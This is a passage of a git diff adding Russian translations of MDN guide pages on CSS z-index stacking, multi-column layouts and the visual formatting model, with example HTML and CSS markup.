+  &lt;br /&gt;z-index: 3;
+&lt;/div&gt;
+
+&lt;div id="rel2"&gt;
+  &lt;b&gt;DIV #3&lt;/b&gt;
+  &lt;br /&gt;position: relative;
+  &lt;br /&gt;z-index: 2;
+&lt;/div&gt;
+
+&lt;div id="abs2"&gt;
+  &lt;b&gt;DIV #4&lt;/b&gt;
+  &lt;br /&gt;position: absolute;
+  &lt;br /&gt;z-index: 1;
+&lt;/div&gt;
+
+&lt;div id="sta1"&gt;
+  &lt;b&gt;DIV #5&lt;/b&gt;
+  &lt;br /&gt;no positioning
+  &lt;br /&gt;z-index: 8;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  padding: 10px;
+  opacity: 0.7;
+  text-align: center;
+}
+
+b {
+  font-family: sans-serif;
+}
+
+#abs1 {
+  z-index: 5;
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  top: 10px;
+  left: 10px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#rel1 {
+  z-index: 3;
+  height: 100px;
+  position: relative;
+  top: 30px;
+  border: 1px dashed #696;
+  background-color: #cfc;
+  margin: 0px 50px 0px 50px;
+}
+
+#rel2 {
+  z-index: 2;
+  height: 100px;
+  position: relative;
+  top: 15px;
+  left: 20px;
+  border: 1px dashed #696;
+  background-color: #cfc;
+  margin: 0px 50px 0px 50px;
+}
+
+#abs2 {
+  z-index: 1;
+  position: absolute;
+  width: 150px;
+  height: 350px;
+  top: 10px;
+  right: 10px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#sta1 {
+  z-index: 8;
+  height: 70px;
+  border: 1px dashed #996;
+  background-color: #ffc;
+  margin: 0px 50px 0px 50px;
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without the z-index property</a>: The stacking rules that apply when <code>z-index</code> is not used.</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking with floated blocks</a>: How floating elements are handled with stacking.</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a>: Notes on the stacking context.</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a>: 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a>: 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a>: 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the English translation of an article I wrote in Italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under the <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a>.</li>
+ <li>Last Updated Date: November 3, 2014</li>
+</ul>
+</div>
diff --git a/files/ru/web/guide/css/understanding_z_index/index.html b/files/ru/web/guide/css/understanding_z_index/index.html
new file mode 100644
index 0000000000..0074ff2577
--- /dev/null
+++ b/files/ru/web/guide/css/understanding_z_index/index.html
@@ -0,0 +1,51 @@
+---
+title: Понимание CSS z-index
+slug: Web/Guide/CSS/Understanding_z_index
+tags:
+  - Advanced
+  - CSS
+  - Guide
+  - NeedsTranslation
+  - TopicStub
+  - Understanding_CSS_z-index
+  - Web
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<p>Обычно HTML страницы можно считать двухмерными, потому что текст, картинки и другие элементы расположены на странице без перекрытия. Существует единый нормальный поток отрисовки (rendering flow) и элементы избегают пространства, занятого другими.{{cssxref("z-index")}} атрибут позволяет регулировать порядок наложения объектов друг на друга в процессе отрисовки контента (rendering content).</p>
+
+<blockquote>
+<p><em>В CSS 2.1, позиция каждого блока была в трех измерениях. В дополнении к их горизонтальной и вертикальной позиции блоки лежали вдоль оси "z" и распологались один поверх другого. Позиция относительно оси "z" особенно актуальна, когда блоки визуально накладываются друг на друга. </em></p>
+</blockquote>
+
+<p>(from <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
+
+<p>Это означает, что правила стиля CSS позволяют вам позиционировать блоки на слоях в дополнение к обычному слою рендеринга (слой 0). Положение Z каждого слоя выражается как целое число, представляющее порядок наложения для рендеринга. Большие числа означают ближе к наблюдателю. Положение Z можно контролировать с помощью свойства CSS z-index.</p>
+
+<p>Использование z-index кажется чрезвычайно простым: одно свойство, которому присваивается одно целое число, с простым для понимания поведением. Однако, когда z-index применяется к сложным иерархиям элементов HTML, его поведение может быть трудно понять или предсказать. Это обьясняется целым комплексом правил "укладки" элементов. Фактически в спецификации  <a class="external" href="http://www.w3.org/TR/CSS21/zindex.html">CSS-2.1 Appendix E</a> (CSS-2.1 Приложение Е) зарезервирован целый раздел, подробно обьясняющий эти правила.</p>
+
+<p>Данная статья попытается объяснить эти правила, с некоторым упрощением и несколькими примерами.</p>
+
+<ol>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Позиционирование без z-индекса</a> : правила по умолчанию</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Позиционирование и float</a> : как себя поводят float элементы c позиционированием</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Использование z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ol>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Информация о документе</h3>
+
+<ul>
+ <li>Автор: Paolo Lombardi</li>
+ <li>Эта статья - английский перевод статьи, которую я написал на итальянском для YappY. Я даю право делиться всем контентом: <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Дата последнего обновления: 9 июля 2005 г.</li>
+</ul>
+
+<p>Примечание автора: спасибо Владимиру Паланту и Роду Уайтли за обзор.</p>
+
+<article></article>
+</div>
diff --git a/files/ru/web/guide/css/understanding_z_index/stacking_without_z-index/index.html b/files/ru/web/guide/css/understanding_z_index/stacking_without_z-index/index.html
new file mode 100644
index 0000000000..7f4eb09133
--- /dev/null
+++ b/files/ru/web/guide/css/understanding_z_index/stacking_without_z-index/index.html
@@ -0,0 +1,140 @@
+---
+title: Stacking without z-index
+slug: Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index
+tags:
+  - CSS
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+---
+<p>« <a href="/en/CSS" title="CSS">CSS</a> « <a href="/en/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">Понимание CSS z-index</span></a></p>
+
+<h3 id="Наложения_без_Z-индекса">Наложения без Z-индекса</h3>
+
+<p>Когда элементы не имеют z-индека, они накладываються в таком порядке(снизу вверх):</p>
+
+<p>1. Фон и границы корневого элемента.</p>
+
+<p>2. Дочерние блоки в нормальном потоке в порядке размещения(в HTML порядке).</p>
+
+<p>3. Дочерние позиционированные элементы, в порядке размещения (в HTML порядке).</p>
+
+<p>В следующем примере, абсолютно и относительно спозиционированным блокам определена величина  и позиция таким образом, чтобы продемонстировать правила наложения.</p>
+
+<div class="note">
+<p><strong>Заметки:</strong></p>
+
+<ul>
+ <li>Given a homogeneous group of elements without any z-index property, such as the positioned blocks (DIV #1 to #4) in the example, the element's stacking order is their order in the HTML hierarchy, regardless of their position.</li>
+ <li>
+  <p>Standard blocks (DIV #5) in the normal flow, without any positioning property, are always rendered before positioned elements, and appear below them, even if they come later in the HTML hierarchy. </p>
+ </li>
+</ul>
+</div>
+
+<p><img alt="understanding_zindex_01.png" class="default internal" src="/@api/deki/files/910/=understanding_zindex_01.png"></p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="absdiv1"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+    &lt;br /&gt;position: absolute; &lt;/div&gt;
+&lt;div id="reldiv1"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+    &lt;br /&gt;position: relative; &lt;/div&gt;
+&lt;div id="reldiv2"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+    &lt;br /&gt;position: relative; &lt;/div&gt;
+&lt;div id="absdiv2"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+    &lt;br /&gt;position: absolute; &lt;/div&gt;
+&lt;div id="normdiv"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+    &lt;br /&gt;no positioning &lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css"> .bold {
+     font-weight: bold;
+     font: 12px Arial;
+ }
+ #normdiv {
+     height: 70px;
+     border: 1px dashed #999966;
+     background-color: #ffffcc;
+     margin: 0px 50px 0px 50px;
+     text-align: center;
+ }
+ #reldiv1 {
+     opacity: 0.7;
+     height: 100px;
+     position: relative;
+     top: 30px;
+     border: 1px dashed #669966;
+     background-color: #ccffcc;
+     margin: 0px 50px 0px 50px;
+     text-align: center;
+ }
+ #reldiv2 {
+     opacity: 0.7;
+     height: 100px;
+     position: relative;
+     top: 15px;
+     left: 20px;
+     border: 1px dashed #669966;
+     background-color: #ccffcc;
+     margin: 0px 50px 0px 50px;
+     text-align: center;
+ }
+ #absdiv1 {
+     opacity: 0.7;
+     position: absolute;
+     width: 150px;
+     height: 350px;
+     top: 10px;
+     left: 10px;
+     border: 1px dashed #990000;
+     background-color: #ffdddd;
+     text-align: center;
+ }
+ #absdiv2 {
+     opacity: 0.7;
+     position: absolute;
+     width: 150px;
+     height: 350px;
+     top: 10px;
+     right: 10px;
+     border: 1px dashed #990000;
+     background-color: #ffdddd;
+     text-align: center;
+ }
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>(If the image does not display in CodePen, click the Tidy button in the CSS section)</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index') }}</p>
+
+<h3 id="Так_же_посмотрите">Так же посмотрите</h3>
+
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level<span id="cke_bm_94E" style="display: none;"> </span></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: November 3rd, 2014</li>
+</ul>
+</div>
diff --git a/files/ru/web/guide/css/using_multi-column_layouts/index.html b/files/ru/web/guide/css/using_multi-column_layouts/index.html
new file mode 100644
index 0000000000..65e96fcdcf
--- /dev/null
+++ b/files/ru/web/guide/css/using_multi-column_layouts/index.html
@@ -0,0 +1,124 @@
+---
+title: Использование CSS разметки для многих колонок
+slug: Web/Guide/CSS/Using_multi-column_layouts
+translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts
+---
+<p>{{CSSRef("CSS Multi-columns")}}</p>
+
+<p><span class="seoSummary"><strong>CSS разметка для многих колонок</strong> расширяет <em>способ блочной разметки, </em>чтобы позволить легкое описание нескольких колонок текста.</span> Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.</p>
+
+<p>К несчастью, это невозможно сделать с CSS и HTML без принудительного разбиения колонки в фиксированных позициях, или строго ограничить допустимую разметку в тексте, или использовать экстраординарный скрипт. Это ограничение снимается с помощью добавления новых CSS свойств, чтобы расширить традиционный блочный способ разметки.</p>
+
+<h2 id="Использование_колонок">Использование колонок</h2>
+
+<h3 id="Количество_колонок_и_ширина">Количество колонок и ширина</h3>
+
+<p>Два свойства CSS контролируют появятся ли колонки и как много их будет: {{ Cssxref("column-count") }} and {{ Cssxref("column-width") }}.</p>
+
+<p><code>Свойство column-count</code> устанавливает количество колонок определённым числом. Пример,</p>
+
+<pre class="brush: html">&lt;div style="column-count:2;"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<p>отобразит содержимое в двух колонках (если вы используете многоколоночно совместимый браузер):</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</p>
+
+<p><code>Свойство column-width</code> устанавливает минимальную желаемую ширину колонки. Если <code>column-count</code> также не установлено, тогда браузер автоматически сделает столько колонок, сколько нужно, чтобы заполнить  доступную ширину.</p>
+
+<pre class="brush: html">&lt;div style="column-width:20em;"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<p>становится:</p>
+
+<p style="-moz-column-width: 20em; -webkit-column-width: 20em; column-width: 20em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</p>
+
+<p>Подробные детали описаны в <a class="external" href="http://www.w3.org/TR/css3-multicol/">CSS3 спецификации</a>.</p>
+
+<p>В многоколончатом блоке, содержимое автоматически перетекает из одной колонки в следующую, как это необходимо. Вся HTML, CSS и DOM функциональность поддерживается внутри колонок, как например редактирование и печать.</p>
+
+<h3 id="Краткая_запись_columns"><code>К</code>раткая запись columns</h3>
+
+<p>В большинстве случаев веб-разработчики используют одно из двух свойств CSS: {{ cssxref("column-count") }} или {{ cssxref("column-width") }}. Так как значения для этих свойств не пересекаются, то часто удобно использовать короткую запись {{ cssxref("columns") }}. Пример:</p>
+
+<p>CSS объявление  <code>column-width:12em</code> может быть заменено:</p>
+
+<pre class="brush: html">&lt;div style="columns:12em"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<p style="-moz-column-width: 12em; -moz-columns: 12em; -webkit-columns: 12em; columns: 12em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</p>
+
+<p>CSS объявление <code>column-count:4</code> может быть заменено:</p>
+
+<pre class="brush: html">&lt;div style="columns:4"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<p style="-moz-columns: 4; -webkit-columns: 4; columns: 4;">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</p>
+
+<p>Два CSS объявления <code>column-width:8em</code> и <code>column-count:12</code> могут быть заменены:</p>
+
+<pre class="brush: html">&lt;div style="columns:12 8em"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<p style="-moz-columns: 12 8em; -webkit-columns: 12 8em; columns: 12 8em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</p>
+
+<h3 id="Выравнивание_высоты">Выравнивание высоты</h3>
+
+<p>CSS3-спецификация колонок требует, чтобы высота колонки была выровнена, т.е. браузер автоматически устанавливает максимальную высоту колонки, для того, чтобы высота содержимого в каждой из них была приблизительно одинаковая. Firefox так и делает.</p>
+
+<p>Однако, в некоторых ситуациях полезно установить максимальную высоту колонок явно, тогда расположение содержимого, начиная с первой колонки и последующих созданных, как необходимо, возможно, перекроют правую границу. Поэтому, если высота ограничена, с помощью CSS {{ cssxref("height") }} или {{ cssxref("max-height") }} свойств на многоколончатом блоке, каждой колонке разрешено расти до этой высоты, но не более, пока не добавится новая колонка. Этот режим также более эффективен для разметки.</p>
+
+<h3 id="Промежутки_между_колонками">Промежутки между колонками</h3>
+
+<p>Существует промежуток между колонками. По умолчанию рекомендовано значение <code>1em</code>. Это значение можно изменить, применяя свойство {{ Cssxref("column-gap") }} на многоколончатом блоке:</p>
+
+<pre class="brush: html">&lt;div style="column-width:20em; column-gap:2em;"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
+quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
+nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
+qui officia deserunt mollit anim id est laborum&lt;/div&gt;
+</pre>
+
+<p style="-moz-column-width: 20em; -webkit-column-width: 20em; column-width: 20em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum</p>
+
+<h2 id="Постепенное_ухудшение">Постепенное ухудшение</h2>
+
+<p>Свойства колонки будут просто проигнорированы браузерами, которые не поддерживают многоколончатый режим. Поэтому соответственно легче создать разметку, которая отобразит содержимое в одной колонке и будет использовать несколько колонок в тех браузерах, которые поддерживают многоколончатый режим.</p>
+
+<p>Обратите внимание, что не все браузеры поддерживают эти свойства без префикса. Чтобы использовать эти свойства в большинстве современных браузеров, каждое свойство должно быть написано трижды: одно с префиксом {{ property_prefix("-moz") }} , одно с префиксом {{ property_prefix("-webkit") }} и третье без префикса.</p>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>CSS3 колонки - примитивная разметка, которая поможет Веб-разработчикам лучше воспользоваться реальным участком экрана. Разработчики с воображением могут найти много способов для их использования, особенно с автоматическим выравниванием высоты.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://weblogs.mozillazine.org/roc/archives/2005/03/gecko_18_for_we.html" rel="freelink">http://weblogs.mozillazine.org/roc/a...18_for_we.html</a></li>
+</ul>
diff --git a/files/ru/web/guide/css/visual_formatting_model/index.html b/files/ru/web/guide/css/visual_formatting_model/index.html
new file mode 100644
index 0000000000..7a5de35909
--- /dev/null
+++ b/files/ru/web/guide/css/visual_formatting_model/index.html
@@ -0,0 +1,209 @@
+---
+title: Модель визуального форматирования
+slug: Web/Guide/CSS/Visual_formatting_model
+translation_of: Web/CSS/Visual_formatting_model
+---
+<p>{{CSSRef}}</p>
+
+<p><span class="seoSummary"><em>Модель визуального форматирования </em>CSS<em> </em> - это алгоритм, используемый для обработки документа и его визуального отображения. Это базовая концепция CSS</span>. Модель визуального форматирования задаёт трансформацию каждого элемента в документе и создаёт ноль, одну или несколько боксов, согласно <a href="https://developer.mozilla.org/ru/docs/Web/CSS/box_model">боксовой модели CSS</a>. Расположение (layout) каждого бокса определяется:</p>
+
+<ul>
+ <li>размерами бокса: точно заданными или заданными ограничениями. Если размеры не заданы, это правило игнорируется;</li>
+ <li>типом бокса: inline, inline-level, atomic inline-level, block box;</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/CSS/Box_positioning_scheme">схемой позиционирования</a>: normal flow, float или absolute;</li>
+ <li>другими элементами дерева: дочерними и соседними;</li>
+ <li>размерами и расположением окна просмотра ({{glossary("viewport")}});</li>
+ <li>внутренними размерами содержащихся изображений;</li>
+ <li>другой внешней информацией.</li>
+</ul>
+
+<p>Бокс отображается относительно краев <em>содержащего его блока. </em>Как правило, бокс определяет родительский блок для своих потомков. Однако, стоит заметить, что бокс не ограничен содержащим его блоком. Такое поведение слоев, выходящих за пределы своих содержащих блоков, называется <em>переполенинем</em> (<em>overflow).</em></p>
+
+<h2 id="Генерация_бокса">Генерация бокса</h2>
+
+<p>Генерация бокса - часть алгоритма модели визуального форматирования, процедура, генерирующая блоки из элементов. Различные типы боксов определяют различное поведение в контексте форматирования. Тип бокса зависит от свойства CSS {{ cssxref("display") }}.</p>
+
+<h3 id="Блочные_эклементы_и_блок-боксы">Блочные эклементы и блок-боксы</h3>
+
+<p>Говорят, что элемент является блочным, когда вычисленное значение его CSS свойства {{ cssxref("display") }} равно: <code>block</code>, <code>list-item</code>, или <code>table</code>. Блочный элемент визуально форматируется как блок (например, параграф), предназначенный для вертикальной компоновки (в столбик).</p>
+
+<p>Каждый элемент блочного уровня участвует в <a href="/ru/docs/CSS/block_formatting_context" title="block formatting context">контексте блочного форматирования</a>. Каждый элемент блочного уровня генерирует как миниум один блок-бокс, названный <em>главным блок-боксом</em>. Некоторые элементы, например, такие как list-item, создают дополнительные боксы для хранения маркеров и других типографических элементов, содержащихся в list item. Большинство блочных элементов генерирует только один, главный блок-бокс.</p>
+
+<p>Главный блок-бокс содержит сгенериованные боксы-потомки и сгенериованный контекст. Он так же будет боксом, участвующем в <a href="/en-US/docs/CSS/Positioning_scheme" title="CSS/Positioning scheme">схеме позиционирования</a>.</p>
+
+<p><img alt="venn_blocks.png" class="internal lwrap" src="/@api/deki/files/5995/=venn_blocks.png" style="float: left;">Элемент блочного уровня так же может быть блоком-контейнером. Блок-контейнер - это блок, который содержит либо только другие элементы блочного уровня, либо создаёт <a href="/en-US/docs/CSS/Inline_formatting_context" title="CSS/Inline formatting context">контекст инлайнового форматирования</a> и, таким образом, содержит только инлайновые элементы.</p>
+
+<p>Важно понимать, что понятие блочного элемента и понятие блочного контейнера - это разные вещи. Первое описывает, как блок будет себя вести по отношению к своему родителю и своим соседям/братьям. А второе - описывает, как блок будет взаимодействовать со своими потомками. Некоторые элементы блочного уровня, например, таблицы, не являются содержащими блоками. И наоборот, некоторые блоки-контейнеры, например, ячейки таблицы, не являются элементами блочного уровня.</p>
+
+<p>Элементы блочного уровня, которые так же являются контейнерами, называются <em>блок-боксами</em>.</p>
+
+<h4 id="Анонимные_блок-боксы">Анонимные блок-боксы</h4>
+
+<p>В некоторых случаях алгоритм визуального форматирования  вынужден добавлять дополнительные боксы. Так как эти боксы невозможно как-то проименовать и к ним невозможно применить css-селекторы, поэтому эти боксы называют <em>анонимными</em>.</p>
+
+<p>Из-за того, что к анонимным боксам невозможно применить селекторы, их невозможно изменить с помощью таблицы стилей. Это значит, что все наследуемые CSS свойства для них будут иметь значение <code>inherit</code>, а все ненаследуемые свойства будут иметь значение <code>initial</code>.</p>
+
+<p>Блоки-контейнеры содержат либо только инлайн-боксы, либо только элементы блочного уровня. Но, как правило, документ содержит и те и другие. В этом случае анонимные блок-боксы создаются вокруг примыкающих к ним инлайн-боксов.</p>
+
+<h3 id="Пример">Пример</h3>
+
+<p>Возьмём следующий HTML код (со стилями по умолчанию, то есть элементы {{ HTMLElement("div") }} и {{ HTMLElement("p") }} имеют значение <code>display:block</code> :</p>
+
+<pre class="syntaxbox"><code>&lt;div&gt;Some inline text &lt;p&gt;followed by a paragraph&lt;/p&gt; followed by more inline text.&lt;/div&gt;</code></pre>
+
+<p>Здесь создались два анонимных блока: один для текста перед параграфом (<code>Some inline text</code>), и второй для текста после параграфа (<code>followed by more inline text.</code>). И у нас получилась вот такая структура:</p>
+
+<p style="text-align: center;"><img alt="anonymous_block-level_boxes.png" class="default internal" src="https://developer.mozilla.org/@api/deki/files/5996/=anonymous_block-level_boxes.png"></p>
+
+<p>Выглядеть это будет так:</p>
+
+<pre class="line-numbers language-html"><code class="language-html">Some inline text
+followed by a paragraph
+followed by more inline text.</code></pre>
+
